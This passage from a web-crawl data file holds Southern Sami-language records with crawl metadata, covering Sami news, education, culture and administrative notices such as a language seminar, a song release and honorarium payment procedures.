Gellielaaketje faageduekie, bachelor skïemtjesujhtemisnie, (Finnmarhken jïlleskuvle, 1998) jåarhkeööhpehtimmine beapmoen, psykiske healsoen jïh gelliekulturelle goerkesen sisnjeli jïh lohkemh dotkemeetihkesne jïh dotkememetodihkesne (Saemien jïlleskuvle, HiOA jïh Noerhte universiteete)\n- Bovtsigujmie gïehtele Tjåehkeren sïjtesne sov paarrebieline ektine\n- Politihkeles duekie, gaskem jeatjah politihkeles raeriestæjja Sosijaale- jïh healsoedepartemeentesne 2000-2001, lïhtsege Raarvihken tjïelteståvroste 2007-2011, jïh lij 2018 raajan lïhtsege Trööndelagen fylhkendigkeste. Dïhte lij aaj Barkijekrirrien veeljemelæstosne Saemiedægkan 2013.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Inger-Marit-Eira-AAhren-barkoem-direktoeoerine-aaaadtje-Saemiedigkesne","date":"2020-05-27T12:35:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00135.warc.gz","language":"sma","language_score":0.999717176,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997171759605408}","num_words":362,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Don våhkoen, rahkan 7. biejjien raejeste 8. biejjien raajan Gïeleviermie Plassjen hotellesne öörnesovvi. Aajege, Gïelem Nastedh, Gïeleaernie, Sïjti Jarnge jïh Gïeleaernie ektine berkin jïh Gïeleviermiem öörnin. Gellie almetjh dahkoe Plassjen hotellese böötin jïh Aajegen åejvie, Toini Bergstrøm lea joekoen madtjeles Gïeleviermien åvteste. Satne aaj jeahta Gïeleviermien ulmie lea maahtoem digkiedidh, saarnodh jïh sinsitneste lïeredh.\n-Manne tuhtjem Gïeleviermie hijven gåeredi, jïh daan jaepien aaj hijven programme. Voestes biejjien aamhtese lij guktie saemien gïelide skreejredh, jïh mubpien biejjien aamhtese lij åarjelsaemien gïelebarkoen bïjre. Tuhtjem luste govledh maam dah jeatjah gïelejarngh darjoeh jïh mejnie dah leah barkeminie. Juktie dellie mijjieh åssjalommesh åadtjobe mejnie mijjieh Plassjesne maehtebe barkedh, Toini Bergstrøm jeahta.\nToini Bergstrøm jeahta åarjelsaemien dajve dan soe stoere jïh dan åvteste vihkeles ektine jeatjah gïelejarngigujmie barkedh. Juktie Gïeleviermie lea gïeleareena dejtie mah leah saemiengïeline barkeminie. Toini jeahta Aajegen leah gïeleareena maanide, noeride jïh geervide, jïh gïeleareena gïelebarkijidie aaj daerpies jïh vihkeles. Gïeleviermien ulmie lea maahtoem digkiedidh jïh sinsitneste lïeredh.\nDaate vïjhteden jaepien Gïeleviermie lea öörnesovveme. Voestes jaepien, 2011 Gïeleviermie aaj Plassjesne öörnesovvi, jaepien 2015 lij Snåasesne, jaepien 2017 lij Raarvihkesne jïh daan jaepien dillie daam seminaarem bist Plassjesne sjïdti.\n-Mijjieh edtjebe jåarhkedh dejtie seminaaride öörnedh. Dellie mubpien aejkien, jaepien 2021 dellie Sveerjesne sjædta. Ibie daejrieh ennje gusnie Sveerjesne, kaanne Staaresne, mohte ibie daejrieh ennje, Toini Bergstrøm jeahta.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/don-vahkoen-gieleviermie-plassjesne-oornesovvi\/","date":"2020-07-03T20:11:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00058.warc.gz","language":"sma","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999977350234985}","num_words":208,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerre vaerien filme, akte dejstie golme åenehks filmijste Sveerjesne maam nommedehteme daan Guldbaggeåasese.\nStoerre vaerie lea åenehks saemien filme maam dihte regissøre Amanda Kernell dorjeme. Daate akte vaajese mij gieries-voetem daan båarasåbpoe boelvese vuesehte. Dejtie mij fuelhkiem, saemien jieliemasseste slïejhteme jih sïebredahkesne tjaajanamme.\n- Lohkh aaj: Stoerre vaerie guhkies filme sjædta\nGuldbaggeåasa lea Sveerjen støøremes filmeåasa maam fierhten jaepien Sveerjen bøøremes filmijde sjïeledieh. Stoerre vaerie filmem aaj Sundance feestivalesne vuesiehtamme jih minngemes Uppsala gaskenasjovnaale filmefeestivaleåasam vitni.\n- Lohkh vielie daaroen gïelesne: Nok en filmpris til samisk kortfilm\nDaejtie filmeåaside edtjieh Guldbaggegalesne tsiengelen 18.b. sjïeledidh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.nrk.no\/sapmi\/saemien-filme-maahta-booremes-aenehks-filme-sjidtedh.-1.12732041","date":"2020-07-12T23:29:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657140337.79\/warc\/CC-MAIN-20200712211314-20200713001314-00007.warc.gz","language":"sma","language_score":0.9999603033,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999603033065796}","num_words":92,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Emmi Danielsen jïh Ailin Danielsen lægan aadtjegh aalkeme journalistine barkedh. Juktie gåabpatjahkh lægan aalkeme NRK Sápmesne barkedh jïh dah guaktah aaj edtjijægan ektesne barkedh. Mohte læjhkan dej guaktah leah ovmessieh barkoeh.\nJuktie Emmi multi-meedijinie barka. Satne edtja ovemessieh saemien artihkelh gaskevïermesne tjaeledh jïh vuejnedh mij åarjel-saepmesne heannede. Emmi jeahta redaktövre NRK Saepmesne sutnjien ringki jïh jeehti satne byöri syökedh.\n-Voestegh ussjedim daate barkoe ij leah madtjan munnjien, mohte mænngan dillie ussjedim sïjhtim pryövedh. Juktie im leah aarebi journalistine barkeme, mohte lyjhkem jïjtjemem haestedh, Emmi Danielsen jeahta.\nEmmi aaj jeahta veanhta onnetje geerve sjædta åarjelsaemiengïelesne tjaeleedh, juktie guhkies tæjmoe vaaseme lea saemiengïelem provhkeme. Mohte båetije biejjide Emmi jeahta veanhta luste sjædta journalistine barkedh.\nAilin Danielsen aaj lea aalkeme journalistine barkedh, juktie edtja åarjelsadtegem Åarjel Faaroe utnedh. Juste daelie Ailin lea dagkeres vikaare jïh edtja radijovisnie jåvlese barkedh. Ailin lea skïemtjesåjhtere, mohte dïhte lea aalkeme journalistihkine barkeme juktie sïjhtih naa jeatjah darjodh.\n-Im leah aarebi journalistihkine barkeme jïh dam aarebi dorjeme. Mohte tuhtjem hijven maahtam mov saemiengïelem provhkedh jïh buerebe sjïdtedh saemiestidh. Manne aaj tuhtjem luste sjædta jeatjah almetjh råakedh, Ailin Danielsen jeahta.\nAaj jeahta tuhtjie buerebe journalistem årrodh goh aarebi veanhteme. Satne aaj jeahta ij rïkti daejrieh mejnie sïjhth jåvlen mænngan darjodh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/2019\/10\/30\/","date":"2020-07-03T19:10:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00250.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":201,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne ryöjrehth? Vaahrah jïh aajhtoeh Västerbottenen leenesne (sydsamiska)\nOm publikationen\nLöpnummer:\nDiarienummer:\nISBN\/ISSN-nr:\nPubliceringsår: 2018\nSidantal: 16\nPublikationstyp: Broschyr\/folder\nDatne ryöjrehth?\nJis el-faamoe guhkiem haajpene, stuvremisnie jallh krijse siebriedahkesne tjoerh ryöjrehtidh våhkoem bearkanidh. Datne tjoerh jïjtje öörnedh tjaetsiem, baahkesem jïh beapmoeh. Datne tjoerh aaj maehtedh mubpiejgujmie gaskesadtedh jïh bïevnesh åadtjodh meedijistie jïh åejvieladtjijste. Tsagkh dov krijseaeskiem tjåeniejgujmie mah leah hijven utnedh jis galkh våhkoem bearkanidh.\nDaennie tjaalegisnie maahtah gaskem jeatjah lohkedh dej njieljie stööremes vaahraj jïh aajhtoej bïjre mah Västerbottenen leenesne gååvnesieh jïh guktie datne maahtah dejtie ryöjrehtidh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.lansstyrelsen.se\/vasterbotten\/tjanster\/publikationer\/datne-ryojrehth-vaahrah-jih-aajhtoeh-vasterbottenen-leenesne-sydsamiska.html","date":"2020-07-12T07:49:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657131734.89\/warc\/CC-MAIN-20200712051058-20200712081058-00298.warc.gz","language":"sma","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999990463256836}","num_words":86,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stööremes laavenjasse mejnie edtjh barkedh jåa 3. jaepesne lea goerehtimmie-laavenjasse. Skuvlh maehtieh dejnie ovmessie vuekine barkedh. Vihkeles laavenjassine lea prosesse, guktie barkoem tjïrrehtidh. Daesnie raerieh dåeriesmoeri jïh barkoe-vuekiej bïjre jïh guktie laavenjassem bigkedh.\nGosse datne edtjh goerehtimmie-laavenjassem tjaeledh, edtjh dotkedh, dotkijinie barkedh. Voestegh tjoerh goerehtimmie-laavenjassen teemam veeljedh jïh jïjtje dåeriesmoerem tseegkedh.\nGoerehtimmie-laavenjassen definisjovne\nGoerehtimmie-laavenjasse lea faageles teekste. Mujhtieh gosse laavenjassine barkh:\n- tjïelke dåeriesmoerem gaavnedh\n- voerkes vuekine tjaeledh\n- sjïere faage-dïejvesh våaroeminie utnedh\n- gaaltijh laejhtehkslaakan nuhtjedh guktie gåarede dejtie gaavnedh, datne edtjh digitaale gaaltije-vuesiehtimmiem haalvedh\nGosse datne dotkeminie dellie datne edtjh sekundæære-gaaltijh jallh teorijh gaavnedh dov aamhtesen bïjre guktie datne maahtah gïengielåbpoe aamhtesasse goerehtidh.\nGuktie laavenjassem bigkedh\nLaavenjassen biehkieh leah åvte-sæjroe, sisvege, goerehtimmie jïh gaaltije-læstoe. Datne edtjh laavenjassem bigkedh sjïere öörnegen mietie.\nÅvtebarkoe: dåeriesmoere jïh disposisjovne\nDatne maahtah ovmessie aamhtesh veeljedh goerehtidh. Tjiehpies-lidteratuvrijste jallh gïeleldh aamhtesijstie, maahtah dåeriesmoerem gaavnedh.\nTjiehpies-lidteratuvrijste maahtah vuesiehtimmien gaavhtan:\n- sjïere tïjje-boelhkem goerehtidh, vuesiehtimmien gaavhtan göökte tjaelijh viertiestidh\n- sjangerem goerehtidh\n- tjaelijem goerehtidh\n- teemam goerehtidh\nTeema jïh dåeriesmoere\n- Voestegh datne teemam nænnosth jïh dan mænngan tjoerh daam gaertjiedidh guktie maahtah laavenjassine gïehtelidh.\nTeema\ngaertjiedimmie\ndåeriesmoere\nSaemien lidteratuvre\nDikth åerjael-saemien gïelesne\nViertiestidh: Elle Holm Bullen dikte Mov håhkoe jïh Gustav Kappfjellen dikte Laevie\nDisposisjovne\nTjaelieh barkoe-soejkesjem jïh disposisjovnem.\nÅvte-sæjroe: dåeriesmoere, nomme, daatoe, jaepie, klaasse, skuvle, bïhkedæjjan nomme\nSisvege: boelhketji tihtelh jïh sæjroej nummerh\n- Aalkoe: voestes boelhketje – dåeriesmoere, tjaelijh jïh tjaalegh\n- Mubpie boelhketje: åenehks gåabpatjahki dikti sisvege\n- Gåalmede boelhketje: dïejvesidie bïhkedidh\n- Njealjede boelhketje: diktem Mov håhkoe analyseradidh\n- Vïjhtede boelhketje: diktem Laevie analyseradidh\n- Govhtede boelhketje: gïeleldh viehkie-dïrregh diktine\n- Tjïjhtjede boelhketje: dah göökte dikth viertiestidh\nGalhkuve: Daesnie datne tjaalah maam gaavnih jïjtjedh baakoejgujmie, dåeriesmoeren konklusjovne.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/resource:09c00a6f-692a-4d75-b0cc-9d533070eb79","date":"2020-08-11T17:13:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738816.7\/warc\/CC-MAIN-20200811150134-20200811180134-00458.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":260,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1991\nTïjje\n00:03:06\nFormaate\nEmbedded\nReakta-aajhtere\nNRK\nReaktah\nGaajhkh reaktah leah doelehtovveme\nNöörjesne lea akte vihkeles sjïeke dïsse: byjjes faamohkh nihtieh saemie learoehkidie jïjtsh gïelem soptsestidh jïh tjaeledh. Dah tjuerieh daaroengïelem nuhtjedh. Daan biejjiem lea saemiengïele jïh daaroengïele seamma vyörtegs dej dajvine gusnie jeenemes saemieh årroeh. Seedtesovvi: Goevten 10.biejjiem 1991.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ovttas.no\/sma\/filbma_vaere-stolt-av-sitt-eget-sprak","date":"2020-08-14T02:52:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739134.49\/warc\/CC-MAIN-20200814011517-20200814041517-00458.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":49,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Joejke-teeksth leah saemien båarasommes aerpievuekien lidteratuvrh. Saemien aerpievuekesne joejke vihkeles sijjiem utni jïh åtna. Joejke lij aaj vihkeles saemien aerpievuekien jaahkosne jïh dovletje jïh daaletje bïevnesh saemien siebriedahken bïjre vadta.\nJoejkh jïh joejkedh\nJoejkh leah saemiej jïh dej jieledi bïjre. Almetjh eatnemem, båatsoem jïh almetjem joejkestieh. Eatneme jïh joejke leah tjarke sinsætnan ektiedamme. Joejke maahta dååjresem eatnamistie, juvrijste jallh almetjistie soptsestidh jïh buektedh.\nSveerjesne Karl Tirén (1869-1955) joejkh golteli jïh daejtie tjeeli novtapaehpierasse. 1960-låhkosne Israel Ruong Sveerjen Raadijovisnie barki jïh Saepmien mietie vöölki jïh båeries joejkh golteli jïh tjoeje-baantese tjöönghki. Aktem daejstie lij Åvlavuelien råantjoeh jallh Renhjorden på Oulavuolie maam Nils Mattias Andersson joejkesti.\nVuartesjh filmem gusnie Marja Mortensson juajka: Marja Mortensson – Delvieh [Live@ Studio Sápmi]\nLaavenjassh båeries joejke-teeksteseKjernestoff\nJoejken aarvoe åvtesne jïh daelieKjernestoff\nAerpievuekien maahtojne joejkedhKjernestoff\nJoejke daelieKjernestoff\nVuelie, vuolle, luohti jïh leuddKjernestoff\nLaavenjassh: Joejkemen bïjreKjernestoff\nLaavenjassh: Åvlavuelien råantjoehKjernestoff\nLaavenjasse: Joejkeme jealaKjernestoff","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/","date":"2020-08-04T09:06:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735867.23\/warc\/CC-MAIN-20200804073038-20200804103038-00281.warc.gz","language":"sma","language_score":0.9999150038,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999150037765503}","num_words":142,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snjaltjen 24. biejjien Ramona Linnea Victoria Kappfjell Sørfjell jïh Dj iDJa edtjijægan orre laavlomem luejhtedh. Laavlome åarjelsaemiengïelesne jïh dan nomme «Im veasoeh». Njoktjen dah guaktah eelkigan laavlominie barkedh jïh rætnoe edtjijægan dam laavlomem luejhtedh.\nRamona Linnea Victoria Kappfjell Sørfjell jeahta dah guaktah Markus Thonhaugen, gie lea Dj iDJa, Klemetspelet:sne åahpenigan. Sørfjell:en laevie Ole-Henrik Lifjell jïh Markus Thonhaugen ektine byjjenigan jïh dah guaktah aaj lægan laavlomh ektine tjaaleme jïh luejhteme. Dannasinie Sørfjell jeahta lij iemie Thonhaugen:inie laavenjostedh. Sørfjell jeahta Dj iDJa lea laavlomen tjoejegïeje aarebi dorjeme jïh dillie Sørfjell åadtjoeji teekstem tjaeledh jïh vueliem darjodh. Dïhte jeahta daate «housebeat» lij riekte jïh buerie, jïh dellie maa laavlomem sjïdti.\nMaehtebe ovmessie vuekieh laavlomem guarhkedh\n-Naakenh sijhtieh ussjedidh daate laavlome båatsoen jïh gïjrejuhtemen bïjre. Jeatjah kaanne ussjedieh laavlomen dïjre lea veasodh. Manne ussjedem laavlomen dïere lea ovnohkens byjresisnie veasodh, gusnie vaahra slibnjehkem aajhta jïh aaltoe pryövoe sov slibnjehkem vaarjelidh. Miesehken nænnoes baadtehtahke laavlomisnie vååjnoe, Ramona Linnea Victoria Kappfjell Sørfjell jeahta.\nDïhte jeahta idtji leah buektehtamme daam laavlomem Markus Thonhaugen bielelen darjodh. Aaj jeahta Dj iDJa joekoen væjkeles DJ gie saemien gïelide damta.\nDaate laavlome vihkeles sutnjien\nDaate laavlome lea åarjelsaemiengïelesne tjaalasovveme jïh Sørfjell jeahta åarjelsaemiengïele lea sov vaajmoegïele mij sæjhta bååstede vaeltedh. Dïhte jeahta musihkh, jïh sjïere vuelieh, leah joekoen vihkeles sov åarjelsaemiengïelese. Ramona Linnea Victoria Kappfjell Sørfjell Jillen-Njaarjeste båata jïh raaktan daelie bïegkefaamoeh sov fuelhkien sïjtesne tseegkesovveminie. Jeahta nåake domtoe jïh laavlomen nomme «Im veasoeh» buerkeste guktie industije, goh bïegkefaamoeh, båatsoem jïh aalmetjidie dæjpa. Juktie Sørfjell jeahta gellie boelvi bijjeli dah iktegish tjoerin gæmhpodh.\n-Daate laavlome vihkeles munnjien. Idtjim sïjhth barre musihkem darjodh jïh dellie rijries, mohte ussjedem byörebe vielie åarjelsaemiengïele mijjen fïerhtenbeajjetjegïelesne utnedh, jïh musihke lea vihkeles mijjen fïerhtenbeajjetjegïelese. Mijjen leah gellie væjkeles åarjelsaemien aartisth, mohte lea tjïehtjele jienebe. Jis edtjebe mijjen gïelem nænnoestidh tjoerebe jienebe aarenah utnedh gusnie maehtebe mijjen gïelem govledh, Sørfjell jeahta.\nSæjhta båetije boelvide viehkiehtidh\nSørfjell sæjhta båetije boelvide viehkiehtidh domtedh dej lea vyörtegs gïele, jïh ij barre skuvlegïele jallh gåetiegïele, mohte gïele mij byögkelesvoetesne veasoe.\nRamona Linnea Victoria Kappfjell Sørfjell jeatjah åarjelsaemien aartisth earohte jïh jeahta dej barkoe, laavlomh jïh vuelieh joekoen vihkeles. Naanh åarjelsaemien aartisth dijjieh maehtede goltelidh leah v.g.: Marja Helena Fjellheim Mortensson, Jon Henrik Fjällgren, Ole-Henrik Bjørkmo Lifjell, Frode Fjellheim, Sara Hermansson.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/ramona-linnea-victoria-kappfjell-sorfjell-jih-dj-idja-edtjijaegan-orre-laavlome-aarjelsaemiengielesne-luejhtedh\/","date":"2020-10-01T19:27:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00324.warc.gz","language":"sma","language_score":0.999717176,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997171759605408}","num_words":368,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rørosen tjïelten gïeleskreejremestipende tjïelten barkijidie, studeentide jïh learoehkidie jåarhkeskuvlesne\/Røros kommunes språkmotiveringsstipend til kommunens ansatte, studenter og elever i den videregående skole.\nStipendeöörnege ulmine åtna tjïelten barkijh, studeenth jïh learohkh jåarhkeskuvlesne skreejredh saemien veeljedh voestes- jallh mubpiengïeline, saemien ammesgïeline, programmefaagine jallh ektiefaagine sijjen faagegievlesne\/Stipendordningen har som formål å stimulere kommunens ansatte, studenter og elever i den videregående skole til å velge samisk som første – eller andrespråk, samisk som fremmedspråk, programfag eller fellesfag i sin fagkrets.\nSkjema: Gïeleskreejremestipende\/Språkmotiveringsstipend","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/roros.kommune.no\/aktuelt\/nyheter\/gieleskreejremestipende-sprakmotiveringsstipend\/","date":"2020-09-27T00:06:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400249545.55\/warc\/CC-MAIN-20200926231818-20200927021818-00772.warc.gz","language":"sma","language_score":0.9037872553,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9037872552871704, \"sme_Latn_score\": 0.05994366109371185, \"nob_Latn_score\": 0.031528010964393616}","num_words":76,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":0.903,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elisabeth Stauri Gudbrandsdaleste edtja njoktjen raajan turnusedåaktarinie barkedh Snåasesne.\nStauri lij gaervies sov medisijneööhpehtimmine NTNU:sne gïjren 2019 jïh daelie turnusistie båata Skïemtjegåeteste Nåavmesjenjaelmesne. Dïhte joe daelie tuhtjie Snåase akte murreds sijjie.\n– Daesnie murreds. Manne leam vaane onne sijjesne årrodh, dïhte hijven munnjien sjeahta. Sør-Fron (gusnie byjjeni red.mïer.) tjïeltegåetiem, bensijnestasjovnem, Coop- bovrem jïh bassengem åtna. Gaajhke joekoen seammaplieres goh daesnie, raaktan. Gaajhkesh dovnesh mejtie bovresne Snåasesne råakem mojjehtieh jïh leah tråjjes, dïhte 28 jaepien båeries nyjsenæjja mejjesne jeahta.\n– Jearsoe domtoe\nMearan lij Nåavmesjenjaelmesne Namdal symfoniorkesterisnie tjoejehti, jïh dïhte aaj rijreme mænngan lij onne. Dïhte eatnemem eahtsa jïh joe vuartasjamme gusnie maahta mïnnedh Snåasesne.\n– Raaktan leam Aantesvaeresne orreme. Desnie lij dan joekoen tjaebpie.\nDaelie edtja sïejhmedåaktarinie barkedh jïh dååjrehtimmiem aalkoehealsoedïenesjistie åadtjodh, naakede mij aaj maahta sjyöhtehke barkoeotnjeginie årrodh dïsse guhkiebasse.\nStauri veanhta satne sæjhta jïjnjem lïeredh gosse Snåasesne barka.\n– Joekoen hijven kontovresne gusnie oksh leah ræhpas jïh manne maahtam viehkien bïjre gihtjedh. Joekoen jearsoe domtoe.\nDaelie tjïelten åejviedåaktere Ulf Seljelid dååjroe aktene dåakterekontovresne årrodh gusnie veljie dåakterh.\n– Turnusedåaktereöörnegem libie åtneme jaabnan gaskoeh 80-låhkoen raejeste. Daelie naa gellie dåakterh, golme staeriesdåakterigujmie. Ånnetji ovvaane gosse dan jeenjesh. Turnusedåakteren barkoefaamoe iktesth vihkeles orreme mijjese. Manne vïenhtem daate aaj daerpies åvtese, men dagke ij seamma vihkeles goh aarebi. Akte hijven tsiehkie fer jeenjesh årrodh – nov amma paehpierisnie – goh daelie, Seljelid jeahta.\n– Datne åadtjoeh pryövedh vielie oktegh årrodh daesnie goh skïemtjegåetesne.\nGoh turnusedåaktere dellie lea dïhte dåaktere mij vaenemes dååjrehtimmiem åtna aktene vaeptietjïertesne skïemtjegåetesne, guktie Stauri lij Nåavmesjenjaelmesne. – Manne provhkim jïjnjem årrodh akutt-dåastoehtimmesne, jïh doh jeanatjommesh mah dohkoe böötin lin staeriesdåakteren luvnie orreme åvtelen böötin. Mearan daesnie doh jeanatjommes skïemtjijh edtjieh gåetide vihth, dïhte joekehtsen bïjre jeahta skïemtjegåeteste dåakterekontovrese.\nSkraejrieh\nSeljelid aaj veanhta Snåase-kontovren dåakterh faageles nåhtoem turnusedåaktarijstie utnieh.\n– Jaa, hævvi. Mijjieh gujht jïjnjem darjobe mij ij leah akteraeresne dejnie maam aarebi dorjeme, jïh tjoerebe ussjedadtedh mijjieh aaj. Mijjieh skraejriem daarpesjibie, jïh gosse orre turnusedåakterh åadtjobe fïerhten bieliejaepien dellie dïhte joekoen hijven. Dah mejnie akt orre byjresasse båetieh iktegisth.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.snasningen.no\/turnusedaaktere-elisabeth-stauri-28-baateme\/s\/5-118-4017","date":"2020-09-30T16:03:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402127075.68\/warc\/CC-MAIN-20200930141310-20200930171310-00036.warc.gz","language":"sma","language_score":0.9999972582,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999972581863403}","num_words":320,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuelkemereeknege jïh honoraarekrïevenassh SaemiedægkanNaemhtie vuelkemereeknegh, maaksoerefusjovnem jallh honoraarem appesne jallh nedtesne deellh. Jis Saemiedigkie edtja dutnjien honoraarem\/vuelkemereeknegem maeksedh, akte Barkoelatjkoe dorjesåvva maam tjoerh vuelietjaeledh åvtelen barkoe aalka. Gaskesadth dov govlehtallijem Saemiedigkesne. Dej bïevnesi gaavhtan barkoelatjkosne baahtseme öörnesåvva portaalese Betalmeg-selvbetjening på nett, gusnie krïevenassem registreerh elektrovneles. Datne sïjhth e-påastem åadtjodh gosse baahtseme lea öörnesovveme. Portaalese tjaangedh Betalmeg –selvbetjening på nett Datne ID-porten tjïrrh tjaangh. Maahtah MinId, BankID, BankID mobijlesne, Buypass jïh Commfides nuhtjedh juktie tjaangedh. Sjyöhtehke baalhkavuekieh honoraaride juara honoraarekrïevenassem registreeredh reaktoe baalhkavuekien vööste juktie gorredidh honoraare reaktoelaakan maaksasåvva jïh reektesåvva. Daah baalhkavuekieh leah sjyöhtehke Saemiedægkan: 5535 – Honoraare: sïejhme baalhkavuekie gaajhkide honoraaride\/maaksoeh tjåanghkoej åvteste 5534 – Tæjmoehonoraare: baalhkavuekie tæjmoej mietie gaajhkide honoraaride\/maaksoeh tjåanghkoej åvteste 5533 –Dasseme barkoedïeneste Bïhkedimmie Guktie nedtevuekiem jallh appem nuhtjedh? Ellies utnijebïhkedimmieh, aaj bïhkedimmieh videovisnie gaavnh daesnie. Internet Explorer nuhtjh? Ij gåaredh portaalem nuhtjedh nedtelohkijisnie Internet Explorer. Sijjeste tjoerh Google Chrome, Microsoft Edge jallh Firefox nuhtjedh.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/vuelkemereeknege-jih-honoraarekrievenassh-saemiedagkan\/","date":"2020-09-28T11:43:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401600771.78\/warc\/CC-MAIN-20200928104328-20200928134328-00721.warc.gz","language":"sma","language_score":0.9999859333,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999985933303833}","num_words":144,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden 